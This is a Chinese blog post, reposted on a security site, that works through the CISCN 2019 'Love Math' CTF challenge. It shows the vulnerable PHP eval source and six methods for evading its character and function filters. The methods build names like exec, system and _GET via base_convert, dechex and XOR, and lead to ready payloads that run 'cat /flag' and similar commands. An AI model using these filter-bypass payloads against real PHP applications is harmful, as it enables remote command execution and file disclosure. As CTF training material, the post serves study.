love_math学习

admin 2022年1月6日01:44:34安全博客评论9 views4224字阅读14分4秒阅读模式

[CISCN 2019 初赛]Love Math

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

题目限制了参数的长度要小于80,且不能包含空格、制表符、换行、单双引号、反引号、[]。并且输入的字符串需要为 $whitelist 中的函数

单双引号被禁止了,函数名提取字符串就无法实现,但是可以想办法从函数的返回结果中获取。

base_convert

1
2
3
4
5
6
7
<?php
echo base_convert('phpinfo', 36, 10);
echo "\n";
echo base_convert(55490343972,10,36);
//55490343972
//phpinfo
?>

方法一

使用php函数readfile等函数读取文件,但是需要flag.php中的.。
相关函数:

  • dechex 十进制转换为十六进制
  • hexdec 十六进制转换为十进制
  • hex2bin 转换十六进制字符串为二进制字符串
  • bin2hex 函数把包含数据的二进制字符串转换为十六进制值
  • pi作为变量是因为题目有长度限制,白名单中最短的就是这两个字符pi

这里获取.,借助dechex和hex2bin函数,不过hex2bin不在白名单里,还需用base_convert转换。

1
2
3
4
<?php
echo hex2bin(dechex(46));
//.
?>

最后payload

1
($pi=base_convert)(2146934604002,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36));

不过超出了长度限制

方法二

使用exec等命令执行nl /*读取文件。

1
2
3
4
5
6
7
8
9
10
11
<?php
echo base_convert('exec', 36, 20);
echo "\n";
echo base_convert('hex2bin', 36, 13);
echo "\n";
echo hexdec(bin2hex('nl /*'));
/*
47138
3761671484
474260451114
*/

最终payload

1
?c=($pi=base_convert)(47138,20,36)($pi(3761671484,13,36)(dechex(474260451114)))

不过这只能打印出同级目录文件下的flag,flag在其他位置就无法打印

方法三

刚开始我们知道可以异或出_。并且$没有被 waf,因此我们可以使用$_GET全局变量手动传入参数getshell。
虽然[]被过滤,我们依然可以使用{}来提取数组中的值。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
echo '1517'^'nrtc';
echo "\n";
echo base_convert('1517', 36, 10);
echo "\n";
echo base_convert('nrtc', 36, 10);

/*
_GET
53179
1109136
*/

最终payload

1
?0=system&amp;1=cat /flag&amp;c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})

方法四

就是用可用的函数和字母进行异或生成大量的字母组合(php中函数名默认为字符串),然后寻找可用的组合

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <9;$j++){
for($a = 0;$a <=9;$a++){
$exp = $payload[$k] ^ $i.$j.$a;
echo($payload[$k]."^$i$j$a"."==>$exp");
echo "<br />";
}
}
}
}

love_math学习
love_math学习
love_math学习
love_math学习
最终payload

1
2
?c=$pi=(is_infinite^(6).(4)).(rad2deg^(7).(5));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

方法五

如何构造出合适的base_convert进制转换

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$a = 'hex2bin';
for($i = 2; $i < 37; $i++){
for($j = 2; $j < 37; $j++){
if(is_numeric(base_convert($a, $i, $j))){
if(base_convert(base_convert($a, $i, $j), $j, $i) === $a){
echo 'len='.strlen(base_convert($a, $i, $j)).' '.'base_convert参数->'.base_convert($a, $i, $j).' '.$j.' '.$i.' '."\n";
}
}
}
}
?>

dechex的构造

1
2
3
4
5
6
7
8
<?php
$a = "_GET";
$num = hexdec(bin2hex($a));
echo $num . "\n";
echo (base_convert(3761671484,13,36)(dechex($num)));
//1598506324
//_GET
?>

paydload

1
?c=$pi=base_convert(3761671484,13,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=tac /flag

方法六

相关函数:

  • getallheaders:获取全部 HTTP 请求头信息
1
2
3
4
5
6
7
8
<?php
echo base_convert('exec', 36, 20);
echo "\n";
echo base_convert('getallheaders', 30, 10)

//47138
//8768397090111664438
?>
1
?c=$pi=base_convert,$pi(47138,20,36)($pi(8768397090111664438,10,30)(){1})

exec(getallheaders(){1}),可以获取请求头第一个字段的值,[]被waf可以用{}包囊数字来解决代替绕过中括号和引号
love_math学习
参考文章:

https://blog.csdn.net/qq_44657899/article/details/106104340
https://www.extrader.top/posts/a649e496
https://www.smi1e.top/%E5%9B%BD%E8%B5%9Blove_math%E9%A2%98%E8%A7%A3/

FROM :blog.cfyqy.com | Author:cfyqy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:44:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  love_math学习 http://cn-sec.com/archives/722526.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: